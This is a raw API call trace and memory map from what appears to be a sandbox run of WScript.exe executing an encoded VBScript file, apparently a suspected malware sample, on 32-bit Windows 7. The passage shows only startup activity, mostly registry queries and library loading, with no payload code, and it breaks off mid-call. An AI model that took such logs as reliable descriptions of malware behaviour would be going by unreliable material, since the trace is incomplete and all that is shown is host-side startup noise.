entry_point = 0x74490d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 511 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 512 start_va = 0x180000 end_va = 0x181fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 513 start_va = 0x749e0000 end_va = 0x74b7dfff monitored = 0 entry_point = 0x74a0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 514 start_va = 0x190000 end_va = 0x190fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 515 start_va = 0x1e0000 end_va = 0x1e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 516 start_va = 0x2300000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 517 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 518 start_va = 0x30b0000 end_va = 0x31affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 519 start_va = 0x745e0000 end_va = 0x7462bfff monitored = 0 entry_point = 0x745e2c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 520 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 521 start_va = 0x72c20000 end_va = 0x72e57fff monitored = 0 entry_point = 0x72c216d6 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\SysWOW64\\wpdshext.dll" (normalized: "c:\\windows\\syswow64\\wpdshext.dll") Region: id = 522 start_va = 0x190000 end_va = 0x191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 523 start_va = 0x72f80000 end_va = 0x72fb1fff monitored = 0 entry_point = 0x72f837f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 524 start_va = 0x72a90000 end_va = 0x72c1ffff monitored = 0 entry_point = 0x72b2d026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 525 start_va = 0x77670000 end_va = 0x7780cfff monitored = 0 entry_point = 0x776717e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 526 start_va = 0x77810000 end_va = 0x77836fff monitored = 0 entry_point = 0x778158b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 527 start_va = 0x771f0000 end_va = 0x77201fff monitored = 0 entry_point = 0x771f1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 528 start_va = 0x1f0000 end_va = 0x1fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 529 start_va = 0x72f50000 end_va = 0x72f7dfff monitored = 0 entry_point = 0x72f51bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 530 start_va = 0x74bc0000 end_va = 0x7563ffff monitored = 0 entry_point = 0x74bc6b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 531 start_va = 0x2dd0000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 532 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 533 start_va = 0x76af0000 end_va = 0x76af4fff monitored = 0 entry_point = 0x76af1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 534 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 535 start_va = 0x74b80000 end_va = 0x74bbbfff monitored = 0 entry_point = 0x74b83089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 536 start_va = 0x76b10000 end_va = 0x76d0afff monitored = 0 entry_point = 0x76b122d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 537 start_va = 0x200000 end_va = 0x200fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 538 start_va = 0x210000 end_va = 0x211fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 539 start_va = 0x749a0000 end_va = 0x749c0fff monitored = 0 entry_point = 0x749a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 540 start_va = 0x76880000 end_va = 0x768c4fff monitored = 0 entry_point = 0x768811e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 541 start_va = 0x2e0000 end_va = 0x2e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 542 start_va = 0x3f0000 end_va = 0x417fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000e.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db") Region: id = 543 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 544 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 545 start_va = 0x31b0000 end_va = 0x32b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 546 start_va = 0x31b0000 end_va = 0x32b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 547 start_va = 0x31b0000 end_va = 0x32b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 548 start_va = 0x749d0000 end_va = 0x749dafff monitored = 0 entry_point = 0x749d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 549 start_va = 0x2e0000 end_va = 0x2e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 550 start_va = 0x1c50000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 551 start_va = 0x1c80000 end_va = 0x1cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 552 start_va = 0x1da0000 end_va = 0x1da3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 553 start_va = 0x2340000 end_va = 0x23a5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 554 start_va = 0x1db0000 end_va = 0x1dbdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 555 start_va = 0x77420000 end_va = 0x77555fff monitored = 0 entry_point = 0x77421b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 556 start_va = 0x769e0000 end_va = 0x76ad4fff monitored = 0 entry_point = 0x769e1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 557 start_va = 0x1dc0000 end_va = 0x1dc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Thread: id = 6 os_tid = 0xe44 [0039.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ef934 | out: lpSystemTimeAsFileTime=0x3ef934*(dwLowDateTime=0x4217b0a0, dwHighDateTime=0x1d9eb0c)) [0039.117] GetCurrentProcessId () returned 0xe40 [0039.117] GetCurrentThreadId () returned 0xe44 [0039.117] GetTickCount () returned 0x1760303 [0039.117] QueryPerformanceCounter (in: lpPerformanceCount=0x3ef92c | out: lpPerformanceCount=0x3ef92c*=2484560069633) returned 1 [0039.117] GetStartupInfoA (in: lpStartupInfo=0x3ef948 | out: lpStartupInfo=0x3ef948*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\WScript.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0039.118] GetModuleHandleA (lpModuleName=0x0) returned 0xf0000 [0039.118] GetModuleHandleA (lpModuleName=0x0) returned 0xf0000 [0039.118] GetVersionExA (in: lpVersionInformation=0x3ef858*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1000000, dwMinorVersion=0x3ef7a8, dwBuildNumber=0x0, dwPlatformId=0x3ef9c8, szCSDVersion="Í\x1eãwoêD\x01þÿÿÿ£<ßwÎ<ßwD") | out: lpVersionInformation=0x3ef858*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0039.118] GetUserDefaultLCID () returned 0x409 [0039.119] CoInitialize (pvReserved=0x0) returned 0x0 [0039.128] GetCommandLineW () returned="\"C:\\Windows\\System32\\WScript.exe\" \"C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe\" " [0039.128] lstrlenW (lpString="\"C:\\Windows\\System32\\WScript.exe\" \"C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe\" ") returned 73 [0039.128] ??2@YAPAXI@Z () returned 0x1712b0 [0039.128] ??2@YAPAXI@Z () returned 0x171350 [0039.128] GetCurrentThreadId () returned 0xe44 [0039.128] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef668 | out: phkResult=0x3ef668*=0xa0) returned 0x0 [0039.128] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef66c | out: phkResult=0x3ef66c*=0xa4) returned 0x0 [0039.129] RegQueryValueExW (in: hKey=0xa4, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x3eea1c, lpData=0x3eea20, lpcbData=0x3eea18*=0x400 | out: lpType=0x3eea1c*=0x0, lpData=0x3eea20*=0x0, lpcbData=0x3eea18*=0x400) returned 0x2 [0039.129] RegQueryValueExW (in: hKey=0xa0, lpValueName="Enabled", lpReserved=0x0, lpType=0x3eea1c, lpData=0x3eea20, lpcbData=0x3eea18*=0x400 | out: lpType=0x3eea1c*=0x0, lpData=0x3eea20*=0x0, lpcbData=0x3eea18*=0x400) returned 0x2 [0039.129] RegQueryValueExW (in: hKey=0xa4, lpValueName="Enabled", lpReserved=0x0, lpType=0x3eea1c, lpData=0x3eea20, lpcbData=0x3eea18*=0x400 | out: lpType=0x3eea1c*=0x0, lpData=0x3eea20*=0x0, lpcbData=0x3eea18*=0x400) returned 0x2 [0039.129] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0039.142] RegCloseKey (hKey=0xa4) returned 0x0 [0039.142] RegCloseKey (hKey=0xa0) returned 0x0 [0039.142] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef438 | out: phkResult=0x3ef438*=0xa0) returned 0x0 [0039.142] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef434 | out: phkResult=0x3ef434*=0xa4) returned 0x0 [0039.143] RegQueryValueExW (in: hKey=0xa4, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x3ee7c4, lpData=0x3ee7c8, lpcbData=0x3ee7c0*=0x400 | out: lpType=0x3ee7c4*=0x0, lpData=0x3ee7c8*=0xf8, lpcbData=0x3ee7c0*=0x400) returned 0x2 [0039.143] RegQueryValueExW (in: hKey=0xa0, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x3ee7c4, lpData=0x3ee7c8, lpcbData=0x3ee7c0*=0x400 | out: lpType=0x3ee7c4*=0x0, lpData=0x3ee7c8*=0xf8, lpcbData=0x3ee7c0*=0x400) returned 0x2 [0039.143] RegQueryValueExW (in: hKey=0xa4, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x3ee7c4, lpData=0x3ee7c8, lpcbData=0x3ee7c0*=0x400 | out: lpType=0x3ee7c4*=0x0, lpData=0x3ee7c8*=0xf8, lpcbData=0x3ee7c0*=0x400) returned 0x2 [0039.143] RegCloseKey (hKey=0xa4) returned 0x0 [0039.143] RegCloseKey (hKey=0xa0) returned 0x0 [0039.143] GetACP () returned 0x4e4 [0039.143] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77270000 [0039.143] GetProcAddress (hModule=0x77270000, lpProcName="HeapSetInformation") returned 0x77285609 [0039.143] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.143] FreeLibrary (hLibModule=0x77270000) returned 1 [0039.143] ??2@YAPAXI@Z () returned 0x171368 [0039.144] CoRegisterMessageFilter (in: lpMessageFilter=0x171368, lplpMessageFilter=0x171370 | out: lplpMessageFilter=0x171370*=0x0) returned 0x0 [0039.144] IUnknown:AddRef (This=0x171368) returned 0x2 [0039.144] GetModuleFileNameW (in: hModule=0xf0000, lpFilename=0x3ef6a8, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\WScript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe")) returned 0x1f [0039.144] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WScript.exe", lpdwHandle=0x3ef0bc | out: lpdwHandle=0x3ef0bc) returned 0x704 [0039.144] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WScript.exe", dwHandle=0x0, dwLen=0x704, lpData=0x3ee9a0 | out: lpData=0x3ee9a0) returned 1 [0039.145] VerQueryValueW (in: pBlock=0x3ee9a0, lpSubBlock="\\", lplpBuffer=0x3ef0b8, puLen=0x3ef0b4 | out: lplpBuffer=0x3ef0b8*=0x3ee9c8, puLen=0x3ef0b4) returned 1 [0039.145] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef0cc | out: phkResult=0x3ef0cc*=0xa0) returned 0x0 [0039.145] RegQueryValueExW (in: hKey=0xa0, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x3ee498, lpData=0x3ee49c, lpcbData=0x3ee494*=0x400 | out: lpType=0x3ee498*=0x0, lpData=0x3ee49c*=0xaf, lpcbData=0x3ee494*=0x400) returned 0x2 [0039.145] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef0c8 | out: phkResult=0x3ef0c8*=0xa4) returned 0x0 [0039.145] RegQueryValueExW (in: hKey=0xa4, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x3ef090, lpData=0x3ef0c4, lpcbData=0x3ef098*=0x4 | out: lpType=0x3ef090*=0x0, lpData=0x3ef0c4*=0x20, lpcbData=0x3ef098*=0x4) returned 0x2 [0039.145] RegQueryValueExW (in: hKey=0xa4, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x3ee498, lpData=0x3ee49c, lpcbData=0x3ee494*=0x400 | out: lpType=0x3ee498*=0x0, lpData=0x3ee49c*=0xaf, lpcbData=0x3ee494*=0x400) returned 0x2 [0039.145] RegQueryValueExW (in: hKey=0xa0, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x3ef090, lpData=0x3ef0c4, lpcbData=0x3ef098*=0x4 | out: lpType=0x3ef090*=0x0, lpData=0x3ef0c4*=0x20, lpcbData=0x3ef098*=0x4) returned 0x2 [0039.145] RegQueryValueExW (in: hKey=0xa0, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x3ee498, lpData=0x3ee49c, lpcbData=0x3ee494*=0x400 | out: lpType=0x3ee498*=0x1, lpData="1", lpcbData=0x3ee494*=0x4) returned 0x0 [0039.145] lstrlenW (lpString="1") returned 1 [0039.145] lstrlenW (lpString="0") returned 1 [0039.145] lstrlenW (lpString="1") returned 1 [0039.145] lstrlenW (lpString="no") returned 2 [0039.145] lstrlenW (lpString="1") returned 1 [0039.146] lstrlenW (lpString="false") returned 5 [0039.146] RegCloseKey (hKey=0xa4) returned 0x0 [0039.146] RegCloseKey (hKey=0xa0) returned 0x0 [0039.146] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x3ef0d8, lpdwDisposition=0x0 | out: phkResult=0x3ef0d8*=0xa0, lpdwDisposition=0x0) returned 0x0 [0039.146] RegQueryValueExW (in: hKey=0xa0, lpValueName="Timeout", lpReserved=0x0, lpType=0x3ef09c, lpData=0x3ef0cc, lpcbData=0x3ef0a4*=0x4 | out: lpType=0x3ef09c*=0x0, lpData=0x3ef0cc*=0x14, lpcbData=0x3ef0a4*=0x4) returned 0x2 [0039.146] RegQueryValueExW (in: hKey=0xa0, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x3ee4a4, lpData=0x3ee4a8, lpcbData=0x3ee4a0*=0x400 | out: lpType=0x3ee4a4*=0x1, lpData="1", lpcbData=0x3ee4a0*=0x4) returned 0x0 [0039.146] lstrlenW (lpString="1") returned 1 [0039.146] lstrlenW (lpString="0") returned 1 [0039.146] lstrlenW (lpString="1") returned 1 [0039.146] lstrlenW (lpString="no") returned 2 [0039.146] lstrlenW (lpString="1") returned 1 [0039.146] lstrlenW (lpString="false") returned 5 [0039.146] RegCloseKey (hKey=0xa0) returned 0x0 [0039.146] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x3ef0d8, lpdwDisposition=0x0 | out: phkResult=0x3ef0d8*=0xa0, lpdwDisposition=0x0) returned 0x0 [0039.147] RegQueryValueExW (in: hKey=0xa0, lpValueName="Timeout", lpReserved=0x0, lpType=0x3ef09c, lpData=0x3ef0cc, lpcbData=0x3ef0a4*=0x4 | out: lpType=0x3ef09c*=0x0, lpData=0x3ef0cc*=0x14, lpcbData=0x3ef0a4*=0x4) returned 0x2 [0039.147] RegQueryValueExW (in: hKey=0xa0, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x3ee4a4, lpData=0x3ee4a8, lpcbData=0x3ee4a0*=0x400 | out: lpType=0x3ee4a4*=0x0, lpData=0x3ee4a8*=0x31, lpcbData=0x3ee4a0*=0x400) returned 0x2 [0039.147] RegCloseKey (hKey=0xa0) returned 0x0 [0039.147] lstrlenW (lpString="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe") returned 36 [0039.147] lstrlenW (lpString="vbe") returned 3 [0039.147] lstrlenW (lpString="WSH") returned 3 [0039.147] ??2@YAPAXI@Z () returned 0x171380 [0039.147] memcpy (in: _Dst=0x3eec58, _Src=0x3ef6a8, _Size=0x26 | out: _Dst=0x3eec58) returned 0x3eec58 [0039.147] LoadStringW (in: hInstance=0xf0000, uID=0x9c5, lpBuffer=0x3ed428, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13 [0039.148] LoadTypeLib (in: szFile="C:\\Windows\\SysWOW64\\WScript.exe", pptlib=0x3eec50*=0x0 | out: pptlib=0x3eec50*=0x44ff40) returned 0x0 [0039.156] ITypeLib:GetTypeInfoOfGuid (in: This=0x44ff40, GUID=0xf1acc*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0x3eec38 | out: ppTInfo=0x3eec38*=0x451074) returned 0x0 [0039.165] ITypeInfo:GetRefTypeOfImplType (in: This=0x451074, index=0xffffffff, pRefType=0x3eec2c | out: pRefType=0x3eec2c*=0xfffffffe) returned 0x0 [0039.165] ITypeInfo:GetRefTypeInfo (in: This=0x451074, hreftype=0xfffffffe, ppTInfo=0x109060 | out: ppTInfo=0x109060*=0x4510a0) returned 0x0 [0039.165] IUnknown:Release (This=0x451074) returned 0x1 [0039.165] ??2@YAPAXI@Z () returned 0x1713d0 [0039.166] ??2@YAPAXI@Z () returned 0x171428 [0039.166] ??2@YAPAXI@Z () returned 0x171460 [0039.166] ITypeLib:GetTypeInfoOfGuid (in: This=0x44ff40, GUID=0xf3c7c*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x3eec28 | out: ppTInfo=0x3eec28*=0x4510cc) returned 0x0 [0039.166] ITypeInfo:GetRefTypeOfImplType (in: This=0x4510cc, index=0xffffffff, pRefType=0x3eec1c | out: pRefType=0x3eec1c*=0xfffffffe) returned 0x0 [0039.166] ITypeInfo:GetRefTypeInfo (in: This=0x4510cc, hreftype=0xfffffffe, ppTInfo=0x1090a0 | out: ppTInfo=0x1090a0*=0x4510f8) returned 0x0 [0039.166] IUnknown:Release (This=0x4510cc) returned 0x1 [0039.166] ITypeLib:GetTypeInfoOfGuid (in: This=0x44ff40, GUID=0xf3c8c*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0x3eec28 | out: ppTInfo=0x3eec28*=0x451124) returned 0x0 [0039.166] ITypeInfo:GetRefTypeOfImplType (in: This=0x451124, index=0xffffffff, pRefType=0x3eec1c | out: pRefType=0x3eec1c*=0xfffffffe) returned 0x0 [0039.166] ITypeInfo:GetRefTypeInfo (in: This=0x451124, hreftype=0xfffffffe, ppTInfo=0x1090c0 | out: ppTInfo=0x1090c0*=0x451150) returned 0x0 [0039.166] IUnknown:Release (This=0x451124) returned 0x1 [0039.166] ITypeLib:GetTypeInfoOfGuid (in: This=0x44ff40, GUID=0xf1cac*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x3eec28 | out: ppTInfo=0x3eec28*=0x45117c) returned 0x0 [0039.166] ITypeInfo:GetRefTypeOfImplType (in: This=0x45117c, index=0xffffffff, pRefType=0x3eec1c | out: pRefType=0x3eec1c*=0xfffffffe) returned 0x0 [0039.166] ITypeInfo:GetRefTypeInfo (in: This=0x45117c, hreftype=0xfffffffe, ppTInfo=0x109080 | out: ppTInfo=0x109080*=0x4511a8) returned 0x0 [0039.166] IUnknown:Release (This=0x45117c) returned 0x1 [0039.166] IUnknown:Release (This=0x44ff40) returned 0x4 [0039.167] ??2@YAPAXI@Z () returned 0x171490 [0039.167] GetCurrentThreadId () returned 0xe44 [0039.167] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0 [0039.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf2f25, lpParameter=0x171490, dwCreationFlags=0x0, lpThreadId=0x1714a4 | out: lpThreadId=0x1714a4*=0xe50) returned 0xf8 [0039.168] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x3eee50*=0xf0, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0039.179] CloseHandle (hObject=0xf0) returned 1 [0039.179] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe", nBufferLength=0x104, lpBuffer=0x3eeeb0, lpFilePart=0x3eee9c | out: lpBuffer="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe", lpFilePart=0x3eee9c*="pd7Yx3rYmMqL9vJy.vbe") returned 0x24 [0039.179] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vbe", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee444 | out: phkResult=0x3ee444*=0x10a) returned 0x0 [0039.180] RegQueryValueExW (in: hKey=0x10a, lpValueName=0x0, lpReserved=0x0, lpType=0x3ee40c, lpData=0x3ee448, lpcbData=0x3ee410*=0x800 | out: lpType=0x3ee40c*=0x1, lpData="VBEFile", lpcbData=0x3ee410*=0x10) returned 0x0 [0039.180] RegCloseKey (hKey=0x10a) returned 0x0 [0039.180] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey="VBEFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee444 | out: phkResult=0x3ee444*=0x10a) returned 0x0 [0039.180] RegQueryValueExW (in: hKey=0x10a, 